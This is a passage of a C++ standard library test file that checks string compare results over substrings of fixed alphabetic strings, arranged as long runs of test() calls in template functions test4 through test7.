"abcdefghijklmnopqrst", 10, -10); test(S("abcde"), 4, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcde"), 4, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcde"), 4, 1, "", 0, 1); test(S("abcde"), 4, 1, "abcde", 0, 1); test(S("abcde"), 4, 1, "abcde", 1, 4); test(S("abcde"), 4, 1, "abcde", 2, 4); test(S("abcde"), 4, 1, "abcde", 4, 4); test(S("abcde"), 4, 1, "abcde", 5, 4); test(S("abcde"), 4, 1, "abcdefghij", 0, 1); test(S("abcde"), 4, 1, "abcdefghij", 1, 4); test(S("abcde"), 4, 1, "abcdefghij", 5, 4); test(S("abcde"), 4, 1, "abcdefghij", 9, 4); test(S("abcde"), 4, 1, "abcdefghij", 10, 4); test(S("abcde"), 4, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcde"), 4, 1, "abcdefghijklmnopqrst", 1, 4); test(S("abcde"), 4, 1, "abcdefghijklmnopqrst", 10, 4); test(S("abcde"), 4, 1, "abcdefghijklmnopqrst", 19, 4); test(S("abcde"), 4, 1, "abcdefghijklmnopqrst", 20, 4); test(S("abcde"), 4, 2, "", 0, 1); test(S("abcde"), 4, 2, "abcde", 0, 1); test(S("abcde"), 4, 2, "abcde", 1, 4); test(S("abcde"), 4, 2, "abcde", 2, 4); test(S("abcde"), 4, 2, "abcde", 4, 4); test(S("abcde"), 4, 2, "abcde", 5, 4); test(S("abcde"), 4, 2, "abcdefghij", 0, 1); test(S("abcde"), 4, 2, "abcdefghij", 1, 4); test(S("abcde"), 4, 2, "abcdefghij", 5, 4); test(S("abcde"), 4, 2, "abcdefghij", 9, 4); test(S("abcde"), 4, 2, "abcdefghij", 10, 4); test(S("abcde"), 4, 2, "abcdefghijklmnopqrst", 0, 1); test(S("abcde"), 4, 2, "abcdefghijklmnopqrst", 1, 4); test(S("abcde"), 4, 2, "abcdefghijklmnopqrst", 10, 4); test(S("abcde"), 4, 2, "abcdefghijklmnopqrst", 19, 4); test(S("abcde"), 4, 2, "abcdefghijklmnopqrst", 20, 4); test(S("abcde"), 5, 0, "", 0, 0); test(S("abcde"), 5, 0, "abcde", 0, 0); test(S("abcde"), 5, 0, "abcde", 1, -1); test(S("abcde"), 5, 0, "abcde", 2, -2); test(S("abcde"), 5, 0, "abcde", 4, -4); test(S("abcde"), 5, 0, "abcde", 5, -5); test(S("abcde"), 5, 0, "abcdefghij", 0, 0); test(S("abcde"), 5, 0, "abcdefghij", 1, -1); test(S("abcde"), 5, 0, "abcdefghij", 5, -5); test(S("abcde"), 5, 0, "abcdefghij", 9, -9); test(S("abcde"), 5, 0, "abcdefghij", 10, -10); test(S("abcde"), 5, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcde"), 5, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcde"), 5, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcde"), 5, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcde"), 5, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcde"), 5, 1, "", 0, 0); test(S("abcde"), 5, 1, "abcde", 0, 0); test(S("abcde"), 5, 1, "abcde", 1, -1); test(S("abcde"), 5, 1, "abcde", 2, -2); test(S("abcde"), 5, 1, "abcde", 4, -4); test(S("abcde"), 5, 1, "abcde", 5, -5); test(S("abcde"), 5, 1, "abcdefghij", 0, 0); test(S("abcde"), 5, 1, "abcdefghij", 1, -1); test(S("abcde"), 5, 1, "abcdefghij", 5, -5); test(S("abcde"), 5, 1, "abcdefghij", 9, -9); test(S("abcde"), 5, 1, "abcdefghij", 10, -10); test(S("abcde"), 5, 1, "abcdefghijklmnopqrst", 0, 0); test(S("abcde"), 5, 1, "abcdefghijklmnopqrst", 1, -1); test(S("abcde"), 5, 1, "abcdefghijklmnopqrst", 10, -10); test(S("abcde"), 5, 1, "abcdefghijklmnopqrst", 19, -19); test(S("abcde"), 5, 1, "abcdefghijklmnopqrst", 20, -20); } template <class S> void test4() { test(S("abcde"), 6, 0, "", 0, 0); test(S("abcde"), 6, 0, "abcde", 0, 0); test(S("abcde"), 6, 0, "abcde", 1, 0); test(S("abcde"), 6, 0, "abcde", 2, 0); test(S("abcde"), 6, 0, "abcde", 4, 0); test(S("abcde"), 6, 0, "abcde", 5, 0); test(S("abcde"), 6, 0, "abcdefghij", 0, 0); test(S("abcde"), 6, 0, "abcdefghij", 1, 0); test(S("abcde"), 6, 0, "abcdefghij", 5, 0); test(S("abcde"), 6, 0, "abcdefghij", 9, 0); test(S("abcde"), 6, 0, "abcdefghij", 10, 0); test(S("abcde"), 6, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcde"), 6, 0, "abcdefghijklmnopqrst", 1, 0); test(S("abcde"), 6, 0, "abcdefghijklmnopqrst", 10, 0); test(S("abcde"), 6, 0, "abcdefghijklmnopqrst", 19, 0); test(S("abcde"), 6, 0, "abcdefghijklmnopqrst", 20, 0); test(S("abcdefghij"), 0, 0, "", 0, 0); test(S("abcdefghij"), 0, 0, "abcde", 0, 0); test(S("abcdefghij"), 0, 0, "abcde", 1, -1); test(S("abcdefghij"), 0, 0, "abcde", 2, -2); test(S("abcdefghij"), 0, 0, "abcde", 4, -4); test(S("abcdefghij"), 0, 0, "abcde", 5, -5); test(S("abcdefghij"), 0, 0, "abcdefghij", 0, 0); test(S("abcdefghij"), 0, 0, "abcdefghij", 1, -1); test(S("abcdefghij"), 0, 0, "abcdefghij", 5, -5); test(S("abcdefghij"), 0, 0, "abcdefghij", 9, -9); test(S("abcdefghij"), 0, 0, "abcdefghij", 10, -10); test(S("abcdefghij"), 0, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghij"), 0, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghij"), 0, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghij"), 0, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghij"), 0, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghij"), 0, 1, "", 0, 1); test(S("abcdefghij"), 0, 1, "abcde", 0, 1); test(S("abcdefghij"), 0, 1, "abcde", 1, 0); test(S("abcdefghij"), 0, 1, "abcde", 2, -1); test(S("abcdefghij"), 0, 1, "abcde", 4, -3); test(S("abcdefghij"), 0, 1, "abcde", 5, -4); test(S("abcdefghij"), 0, 1, "abcdefghij", 0, 1); test(S("abcdefghij"), 0, 1, "abcdefghij", 1, 0); test(S("abcdefghij"), 0, 1, "abcdefghij", 5, -4); test(S("abcdefghij"), 0, 1, "abcdefghij", 9, -8); test(S("abcdefghij"), 0, 1, "abcdefghij", 10, -9); test(S("abcdefghij"), 0, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghij"), 0, 1, "abcdefghijklmnopqrst", 1, 0); test(S("abcdefghij"), 0, 1, "abcdefghijklmnopqrst", 10, -9); test(S("abcdefghij"), 0, 1, "abcdefghijklmnopqrst", 19, -18); test(S("abcdefghij"), 0, 1, "abcdefghijklmnopqrst", 20, -19); test(S("abcdefghij"), 0, 5, "", 0, 5); test(S("abcdefghij"), 0, 5, "abcde", 0, 5); test(S("abcdefghij"), 0, 5, "abcde", 1, 4); test(S("abcdefghij"), 0, 5, "abcde", 2, 3); test(S("abcdefghij"), 0, 5, "abcde", 4, 1); test(S("abcdefghij"), 0, 5, "abcde", 5, 0); test(S("abcdefghij"), 0, 5, "abcdefghij", 0, 5); test(S("abcdefghij"), 0, 5, "abcdefghij", 1, 4); test(S("abcdefghij"), 0, 5, "abcdefghij", 5, 0); test(S("abcdefghij"), 0, 5, "abcdefghij", 9, -4); test(S("abcdefghij"), 0, 5, "abcdefghij", 10, -5); test(S("abcdefghij"), 0, 5, "abcdefghijklmnopqrst", 0, 5); test(S("abcdefghij"), 0, 5, "abcdefghijklmnopqrst", 1, 4); test(S("abcdefghij"), 0, 5, "abcdefghijklmnopqrst", 10, -5); test(S("abcdefghij"), 0, 5, "abcdefghijklmnopqrst", 19, -14); test(S("abcdefghij"), 0, 5, "abcdefghijklmnopqrst", 20, -15); test(S("abcdefghij"), 0, 9, "", 0, 9); test(S("abcdefghij"), 0, 9, "abcde", 0, 9); test(S("abcdefghij"), 0, 9, "abcde", 1, 8); test(S("abcdefghij"), 0, 9, "abcde", 2, 7); test(S("abcdefghij"), 0, 9, "abcde", 4, 5); test(S("abcdefghij"), 0, 9, "abcde", 5, 4); test(S("abcdefghij"), 0, 9, "abcdefghij", 0, 9); test(S("abcdefghij"), 0, 9, "abcdefghij", 1, 8); test(S("abcdefghij"), 0, 9, "abcdefghij", 5, 4); test(S("abcdefghij"), 0, 9, "abcdefghij", 9, 0); test(S("abcdefghij"), 0, 9, "abcdefghij", 10, -1); test(S("abcdefghij"), 0, 9, "abcdefghijklmnopqrst", 0, 9); test(S("abcdefghij"), 0, 9, "abcdefghijklmnopqrst", 1, 8); test(S("abcdefghij"), 0, 9, "abcdefghijklmnopqrst", 10, -1); test(S("abcdefghij"), 0, 9, "abcdefghijklmnopqrst", 19, -10); test(S("abcdefghij"), 0, 9, "abcdefghijklmnopqrst", 20, -11); test(S("abcdefghij"), 0, 10, "", 0, 10); test(S("abcdefghij"), 0, 10, "abcde", 0, 10); test(S("abcdefghij"), 0, 10, "abcde", 1, 9); test(S("abcdefghij"), 0, 10, "abcde", 2, 8); test(S("abcdefghij"), 0, 10, "abcde", 4, 6); test(S("abcdefghij"), 0, 10, "abcde", 5, 5); test(S("abcdefghij"), 0, 10, "abcdefghij", 0, 10); test(S("abcdefghij"), 0, 10, "abcdefghij", 1, 9); test(S("abcdefghij"), 0, 10, "abcdefghij", 5, 5); test(S("abcdefghij"), 0, 10, "abcdefghij", 9, 1); test(S("abcdefghij"), 0, 10, "abcdefghij", 10, 0); test(S("abcdefghij"), 0, 10, "abcdefghijklmnopqrst", 0, 10); test(S("abcdefghij"), 0, 10, "abcdefghijklmnopqrst", 1, 9); test(S("abcdefghij"), 0, 10, "abcdefghijklmnopqrst", 10, 0); test(S("abcdefghij"), 0, 10, "abcdefghijklmnopqrst", 19, -9); test(S("abcdefghij"), 0, 10, "abcdefghijklmnopqrst", 20, -10); test(S("abcdefghij"), 0, 11, "", 0, 10); test(S("abcdefghij"), 0, 11, "abcde", 0, 10); test(S("abcdefghij"), 0, 11, "abcde", 1, 9); test(S("abcdefghij"), 0, 11, "abcde", 2, 8); } template <class S> void test5() { test(S("abcdefghij"), 0, 11, "abcde", 4, 6); test(S("abcdefghij"), 0, 11, "abcde", 5, 5); test(S("abcdefghij"), 0, 11, "abcdefghij", 0, 10); test(S("abcdefghij"), 0, 11, "abcdefghij", 1, 9); test(S("abcdefghij"), 0, 11, "abcdefghij", 5, 5); test(S("abcdefghij"), 0, 11, "abcdefghij", 9, 1); test(S("abcdefghij"), 0, 11, "abcdefghij", 10, 0); test(S("abcdefghij"), 0, 11, "abcdefghijklmnopqrst", 0, 10); test(S("abcdefghij"), 0, 11, "abcdefghijklmnopqrst", 1, 9); test(S("abcdefghij"), 0, 11, "abcdefghijklmnopqrst", 10, 0); test(S("abcdefghij"), 0, 11, "abcdefghijklmnopqrst", 19, -9); test(S("abcdefghij"), 0, 11, "abcdefghijklmnopqrst", 20, -10); test(S("abcdefghij"), 1, 0, "", 0, 0); test(S("abcdefghij"), 1, 0, "abcde", 0, 0); test(S("abcdefghij"), 1, 0, "abcde", 1, -1); test(S("abcdefghij"), 1, 0, "abcde", 2, -2); test(S("abcdefghij"), 1, 0, "abcde", 4, -4); test(S("abcdefghij"), 1, 0, "abcde", 5, -5); test(S("abcdefghij"), 1, 0, "abcdefghij", 0, 0); test(S("abcdefghij"), 1, 0, "abcdefghij", 1, -1); test(S("abcdefghij"), 1, 0, "abcdefghij", 5, -5); test(S("abcdefghij"), 1, 0, "abcdefghij", 9, -9); test(S("abcdefghij"), 1, 0, "abcdefghij", 10, -10); test(S("abcdefghij"), 1, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghij"), 1, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghij"), 1, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghij"), 1, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghij"), 1, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghij"), 1, 1, "", 0, 1); test(S("abcdefghij"), 1, 1, "abcde", 0, 1); test(S("abcdefghij"), 1, 1, "abcde", 1, 1); test(S("abcdefghij"), 1, 1, "abcde", 2, 1); test(S("abcdefghij"), 1, 1, "abcde", 4, 1); test(S("abcdefghij"), 1, 1, "abcde", 5, 1); test(S("abcdefghij"), 1, 1, "abcdefghij", 0, 1); test(S("abcdefghij"), 1, 1, "abcdefghij", 1, 1); test(S("abcdefghij"), 1, 1, "abcdefghij", 5, 1); test(S("abcdefghij"), 1, 1, "abcdefghij", 9, 1); test(S("abcdefghij"), 1, 1, "abcdefghij", 10, 1); test(S("abcdefghij"), 1, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghij"), 1, 1, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghij"), 1, 1, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghij"), 1, 1, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghij"), 1, 1, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghij"), 1, 4, "", 0, 4); test(S("abcdefghij"), 1, 4, "abcde", 0, 4); test(S("abcdefghij"), 1, 4, "abcde", 1, 1); test(S("abcdefghij"), 1, 4, "abcde", 2, 1); test(S("abcdefghij"), 1, 4, "abcde", 4, 1); test(S("abcdefghij"), 1, 4, "abcde", 5, 1); test(S("abcdefghij"), 1, 4, "abcdefghij", 0, 4); test(S("abcdefghij"), 1, 4, "abcdefghij", 1, 1); test(S("abcdefghij"), 1, 4, "abcdefghij", 5, 1); test(S("abcdefghij"), 1, 4, "abcdefghij", 9, 1); test(S("abcdefghij"), 1, 4, "abcdefghij", 10, 1); test(S("abcdefghij"), 1, 4, "abcdefghijklmnopqrst", 0, 4); test(S("abcdefghij"), 1, 4, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghij"), 1, 4, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghij"), 1, 4, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghij"), 1, 4, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghij"), 1, 8, "", 0, 8); test(S("abcdefghij"), 1, 8, "abcde", 0, 8); test(S("abcdefghij"), 1, 8, "abcde", 1, 1); test(S("abcdefghij"), 1, 8, "abcde", 2, 1); test(S("abcdefghij"), 1, 8, "abcde", 4, 1); test(S("abcdefghij"), 1, 8, "abcde", 5, 1); test(S("abcdefghij"), 1, 8, "abcdefghij", 0, 8); test(S("abcdefghij"), 1, 8, "abcdefghij", 1, 1); test(S("abcdefghij"), 1, 8, "abcdefghij", 5, 1); test(S("abcdefghij"), 1, 8, "abcdefghij", 9, 1); test(S("abcdefghij"), 1, 8, "abcdefghij", 10, 1); test(S("abcdefghij"), 1, 8, "abcdefghijklmnopqrst", 0, 8); test(S("abcdefghij"), 1, 8, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghij"), 1, 8, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghij"), 1, 8, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghij"), 1, 8, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghij"), 1, 9, "", 0, 9); test(S("abcdefghij"), 1, 9, "abcde", 0, 9); test(S("abcdefghij"), 1, 9, "abcde", 1, 1); test(S("abcdefghij"), 1, 9, "abcde", 2, 1); test(S("abcdefghij"), 1, 9, "abcde", 4, 1); test(S("abcdefghij"), 1, 9, "abcde", 5, 1); test(S("abcdefghij"), 1, 9, "abcdefghij", 0, 9); test(S("abcdefghij"), 1, 9, "abcdefghij", 1, 1); test(S("abcdefghij"), 1, 9, "abcdefghij", 5, 1); test(S("abcdefghij"), 1, 9, "abcdefghij", 9, 1); test(S("abcdefghij"), 1, 9, "abcdefghij", 10, 1); test(S("abcdefghij"), 1, 9, "abcdefghijklmnopqrst", 0, 9); test(S("abcdefghij"), 1, 9, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghij"), 1, 9, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghij"), 1, 9, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghij"), 1, 9, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghij"), 1, 10, "", 0, 9); test(S("abcdefghij"), 1, 10, "abcde", 0, 9); test(S("abcdefghij"), 1, 10, "abcde", 1, 1); test(S("abcdefghij"), 1, 10, "abcde", 2, 1); test(S("abcdefghij"), 1, 10, "abcde", 4, 1); test(S("abcdefghij"), 1, 10, "abcde", 5, 1); test(S("abcdefghij"), 1, 10, "abcdefghij", 0, 9); test(S("abcdefghij"), 1, 10, "abcdefghij", 1, 1); } template <class S> void test6() { test(S("abcdefghij"), 1, 10, "abcdefghij", 5, 1); test(S("abcdefghij"), 1, 10, "abcdefghij", 9, 1); test(S("abcdefghij"), 1, 10, "abcdefghij", 10, 1); test(S("abcdefghij"), 1, 10, "abcdefghijklmnopqrst", 0, 9); test(S("abcdefghij"), 1, 10, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghij"), 1, 10, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghij"), 1, 10, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghij"), 1, 10, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghij"), 5, 0, "", 0, 0); test(S("abcdefghij"), 5, 0, "abcde", 0, 0); test(S("abcdefghij"), 5, 0, "abcde", 1, -1); test(S("abcdefghij"), 5, 0, "abcde", 2, -2); test(S("abcdefghij"), 5, 0, "abcde", 4, -4); test(S("abcdefghij"), 5, 0, "abcde", 5, -5); test(S("abcdefghij"), 5, 0, "abcdefghij", 0, 0); test(S("abcdefghij"), 5, 0, "abcdefghij", 1, -1); test(S("abcdefghij"), 5, 0, "abcdefghij", 5, -5); test(S("abcdefghij"), 5, 0, "abcdefghij", 9, -9); test(S("abcdefghij"), 5, 0, "abcdefghij", 10, -10); test(S("abcdefghij"), 5, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghij"), 5, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghij"), 5, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghij"), 5, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghij"), 5, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghij"), 5, 1, "", 0, 1); test(S("abcdefghij"), 5, 1, "abcde", 0, 1); test(S("abcdefghij"), 5, 1, "abcde", 1, 5); test(S("abcdefghij"), 5, 1, "abcde", 2, 5); test(S("abcdefghij"), 5, 1, "abcde", 4, 5); test(S("abcdefghij"), 5, 1, "abcde", 5, 5); test(S("abcdefghij"), 5, 1, "abcdefghij", 0, 1); test(S("abcdefghij"), 5, 1, "abcdefghij", 1, 5); test(S("abcdefghij"), 5, 1, "abcdefghij", 5, 5); test(S("abcdefghij"), 5, 1, "abcdefghij", 9, 5); test(S("abcdefghij"), 5, 1, "abcdefghij", 10, 5); test(S("abcdefghij"), 5, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghij"), 5, 1, "abcdefghijklmnopqrst", 1, 5); test(S("abcdefghij"), 5, 1, "abcdefghijklmnopqrst", 10, 5); test(S("abcdefghij"), 5, 1, "abcdefghijklmnopqrst", 19, 5); test(S("abcdefghij"), 5, 1, "abcdefghijklmnopqrst", 20, 5); test(S("abcdefghij"), 5, 2, "", 0, 2); test(S("abcdefghij"), 5, 2, "abcde", 0, 2); test(S("abcdefghij"), 5, 2, "abcde", 1, 5); test(S("abcdefghij"), 5, 2, "abcde", 2, 5); test(S("abcdefghij"), 5, 2, "abcde", 4, 5); test(S("abcdefghij"), 5, 2, "abcde", 5, 5); test(S("abcdefghij"), 5, 2, "abcdefghij", 0, 2); test(S("abcdefghij"), 5, 2, "abcdefghij", 1, 5); test(S("abcdefghij"), 5, 2, "abcdefghij", 5, 5); test(S("abcdefghij"), 5, 2, "abcdefghij", 9, 5); test(S("abcdefghij"), 5, 2, "abcdefghij", 10, 5); test(S("abcdefghij"), 5, 2, "abcdefghijklmnopqrst", 0, 2); test(S("abcdefghij"), 5, 2, "abcdefghijklmnopqrst", 1, 5); test(S("abcdefghij"), 5, 2, "abcdefghijklmnopqrst", 10, 5); test(S("abcdefghij"), 5, 2, "abcdefghijklmnopqrst", 19, 5); test(S("abcdefghij"), 5, 2, "abcdefghijklmnopqrst", 20, 5); test(S("abcdefghij"), 5, 4, "", 0, 4); test(S("abcdefghij"), 5, 4, "abcde", 0, 4); test(S("abcdefghij"), 5, 4, "abcde", 1, 5); test(S("abcdefghij"), 5, 4, "abcde", 2, 5); test(S("abcdefghij"), 5, 4, "abcde", 4, 5); test(S("abcdefghij"), 5, 4, "abcde", 5, 5); test(S("abcdefghij"), 5, 4, "abcdefghij", 0, 4); test(S("abcdefghij"), 5, 4, "abcdefghij", 1, 5); test(S("abcdefghij"), 5, 4, "abcdefghij", 5, 5); test(S("abcdefghij"), 5, 4, "abcdefghij", 9, 5); test(S("abcdefghij"), 5, 4, "abcdefghij", 10, 5); test(S("abcdefghij"), 5, 4, "abcdefghijklmnopqrst", 0, 4); test(S("abcdefghij"), 5, 4, "abcdefghijklmnopqrst", 1, 5); test(S("abcdefghij"), 5, 4, "abcdefghijklmnopqrst", 10, 5); test(S("abcdefghij"), 5, 4, "abcdefghijklmnopqrst", 19, 5); test(S("abcdefghij"), 5, 4, "abcdefghijklmnopqrst", 20, 5); test(S("abcdefghij"), 5, 5, "", 0, 5); test(S("abcdefghij"), 5, 5, "abcde", 0, 5); test(S("abcdefghij"), 5, 5, "abcde", 1, 5); test(S("abcdefghij"), 5, 5, "abcde", 2, 5); test(S("abcdefghij"), 5, 5, "abcde", 4, 5); test(S("abcdefghij"), 5, 5, "abcde", 5, 5); test(S("abcdefghij"), 5, 5, "abcdefghij", 0, 5); test(S("abcdefghij"), 5, 5, "abcdefghij", 1, 5); test(S("abcdefghij"), 5, 5, "abcdefghij", 5, 5); test(S("abcdefghij"), 5, 5, "abcdefghij", 9, 5); test(S("abcdefghij"), 5, 5, "abcdefghij", 10, 5); test(S("abcdefghij"), 5, 5, "abcdefghijklmnopqrst", 0, 5); test(S("abcdefghij"), 5, 5, "abcdefghijklmnopqrst", 1, 5); test(S("abcdefghij"), 5, 5, "abcdefghijklmnopqrst", 10, 5); test(S("abcdefghij"), 5, 5, "abcdefghijklmnopqrst", 19, 5); test(S("abcdefghij"), 5, 5, "abcdefghijklmnopqrst", 20, 5); test(S("abcdefghij"), 5, 6, "", 0, 5); test(S("abcdefghij"), 5, 6, "abcde", 0, 5); test(S("abcdefghij"), 5, 6, "abcde", 1, 5); test(S("abcdefghij"), 5, 6, "abcde", 2, 5); test(S("abcdefghij"), 5, 6, "abcde", 4, 5); test(S("abcdefghij"), 5, 6, "abcde", 5, 5); test(S("abcdefghij"), 5, 6, "abcdefghij", 0, 5); test(S("abcdefghij"), 5, 6, "abcdefghij", 1, 5); test(S("abcdefghij"), 5, 6, "abcdefghij", 5, 5); test(S("abcdefghij"), 5, 6, "abcdefghij", 9, 5); test(S("abcdefghij"), 5, 6, "abcdefghij", 10, 5); test(S("abcdefghij"), 5, 6, "abcdefghijklmnopqrst", 0, 5); } template <class S> void test7() { test(S("abcdefghij"), 5, 6, "abcdefghijklmnopqrst", 1, 5); test(S("abcdefghij"), 5, 6, "abcdefghijklmnopqrst", 10, 5); test(S("abcdefghij"), 5, 6, "abcdefghijklmnopqrst", 19, 5); test(S("abcdefghij"), 5, 6, "abcdefghijklmnopqrst", 20, 5); test(S("abcdefghij"), 9, 0, "", 0, 0); test(S("abcdefghij"), 9, 0, "abcde", 0, 0); test(S("abcdefghij"), 9, 0, "abcde", 1, -1); test(S("abcdefghij"), 9, 0, "abcde", 2, -2); test(S("abcdefghij"), 9, 0, "abcde", 4, -4); test(S("abcdefghij"), 9, 0, "abcde", 5, -5); test(S("abcdefghij"), 9, 0, "abcdefghij", 0, 0); test(S("abcdefghij"), 9, 0, "abcdefghij", 1, -1); test(S("abcdefghij"), 9, 0, "abcdefghij", 5, -5); test(S("abcdefghij"), 9, 0, "abcdefghij", 9, -9); test(S("abcdefghij"), 9, 0, "abcdefghij", 10, -10); test(S("abcdefghij"), 9, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghij"), 9, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghij"), 9, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghij"), 9, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghij"), 9, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghij"), 9, 1, "", 0, 1); test(S("abcdefghij"), 9, 1, "abcde", 0, 1); test(S("abcdefghij"), 9, 1, "abcde", 1, 9); test(S("abcdefghij"), 9, 1, "abcde", 2, 9); test(S("abcdefghij"), 9, 1, "abcde", 4, 9); test(S("abcdefghij"), 9, 1, "abcde", 5, 9); test(S("abcdefghij"), 9, 1, "abcdefghij", 0, 1); test(S("abcdefghij"), 9, 1, "abcdefghij", 1, 9); test(S("abcdefghij"), 9, 1, "abcdefghij", 5, 9); test(S("abcdefghij"), 9, 1, "abcdefghij", 9, 9); test(S("abcdefghij"), 9, 1, "abcdefghij", 10, 9); test(S("abcdefghij"), 9, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghij"), 9, 1, "abcdefghijklmnopqrst", 1, 9); test(S("abcdefghij"), 9, 1, "abcdefghijklmnopqrst", 10, 9); test(S("abcdefghij"), 9, 1, "abcdefghijklmnopqrst", 19, 9); test(S("abcdefghij"), 9, 1, "abcdefghijklmnopqrst", 20, 9); test(S("abcdefghij"), 9, 2, "", 0, 1); test(S("abcdefghij"), 9, 2, "abcde", 0, 1); test(S("abcdefghij"), 9, 2, "abcde", 1, 9); test(S("abcdefghij"), 9, 2, "abcde", 2, 9); test(S("abcdefghij"), 9, 2, "abcde", 4, 9); test(S("abcdefghij"), 9, 2, "abcde", 5, 9); test(S("abcdefghij"), 9, 2, "abcdefghij", 0, 1); test(S("abcdefghij"), 9, 2, "abcdefghij", 1, 9); test(S("abcdefghij"), 9, 2, "abcdefghij", 5, 9); test(S("abcdefghij"), 9, 2, "abcdefghij", 9, 9); test(S("abcdefghij"), 9, 2, "abcdefghij", 10, 9); test(S("abcdefghij"), 9, 2, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghij"), 9, 2, "abcdefghijklmnopqrst", 1, 9); test(S("abcdefghij"), 9, 2, "abcdefghijklmnopqrst", 10, 9); test(S("abcdefghij"), 9, 2, "abcdefghijklmnopqrst", 19, 9); test(S("abcdefghij"), 9, 2, "abcdefghijklmnopqrst", 20, 9); test(S("abcdefghij"), 10, 0, "", 0, 0); test(S("abcdefghij"), 10, 0, "abcde", 0, 0); test(S("abcdefghij"), 10, 0, "abcde", 1, -1); test(S("abcdefghij"), 10, 0, "abcde", 2, -2); test(S("abcdefghij"), 10, 0, "abcde", 4, -4); test(S("abcdefghij"), 10, 0, "abcde", 5, -5); test(S("abcdefghij"), 10, 0, "abcdefghij", 0, 0); test(S("abcdefghij"), 10, 0, "abcdefghij", 1, -1); test(S("abcdefghij"), 10, 0, "abcdefghij", 5, -5); test(S("abcdefghij"), 10, 0, "abcdefghij", 9, -9); test(S("abcdefghij"), 10, 0, "abcdefghij", 10, -10); test(S("abcdefghij"), 10, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghij"), 10, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghij"), 10, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghij"), 10, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghij"), 10, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghij"), 10, 1, "", 0, 0); test(S("abcdefghij"), 10, 1, "abcde", 0, 0); test(S("abcdefghij"), 10, 1, "abcde", 1, -1); test(S("abcdefghij"), 10, 1, "abcde", 2, -2); test(S("abcdefghij"), 10, 1, "abcde", 4, -4); test(S("abcdefghij"), 10, 1, "abcde", 5, -5); test(S("abcdefghij"), 10, 1, "abcdefghij", 0, 0); test(S("abcdefghij"), 10, 1, "abcdefghij", 1, -1); test(S("abcdefghij"), 10, 1, "abcdefghij", 5, -5); test(S("abcdefghij"), 10, 1, "abcdefghij", 9, -9); test(S("abcdefghij"), 10, 1, "abcdefghij", 10, -10); test(S("abcdefghij"), 10, 1, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghij"), 10, 1, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghij"), 10, 1, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghij"), 10, 1, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghij"), 10, 1, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghij"), 11, 0, "", 0, 0); test(S("abcdefghij"), 11, 0, "abcde", 0, 0); test(S("abcdefghij"), 11, 0, "abcde", 1, 0); test(S("abcdefghij"), 11, 0, "abcde", 2, 0); test(S("abcdefghij"), 11, 0, "abcde", 4, 0); test(S("abcdefghij"), 11, 0, "abcde", 5, 0); test(S("abcdefghij"), 11, 0, "abcdefghij", 0, 0); test(S("abcdefghij"), 11, 0, "abcdefghij", 1, 0); test(S("abcdefghij"), 11, 0, "abcdefghij", 5, 0); test(S("abcdefghij"), 11, 0, "abcdefghij", 9, 0); test(S("abcdefghij"), 11, 0, "abcdefghij", 10, 0); test(S("abcdefghij"), 11, 0, "abcdefghijklmnopqrst", 0, 0); 